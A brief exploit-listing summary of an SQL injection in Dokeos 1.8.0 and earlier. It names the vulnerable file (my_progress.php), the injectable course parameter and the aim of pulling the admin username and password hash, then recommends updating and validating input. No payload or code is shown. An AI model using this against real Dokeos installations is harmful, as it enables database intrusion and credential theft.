Dokeos <= 1.8.0 SQL Injection Exploit

This exploit allows an attacker to retrieve the admin username and hash from the Dokeos <= 1.8.0 website. The vulnerability exists in the my_progress.php file, where an SQL query is executed without proper input validation. By injecting a specially crafted payload in the course parameter of the URL, the attacker can bypass authentication and retrieve sensitive information from the database.

Mitigation:

To mitigate this vulnerability, it is recommended to update to a newer version of Dokeos that includes a fix for this issue. Additionally, enabling magic_quotes_gpc and ensuring that user input is properly validated and sanitized can help prevent SQL injection attacks.
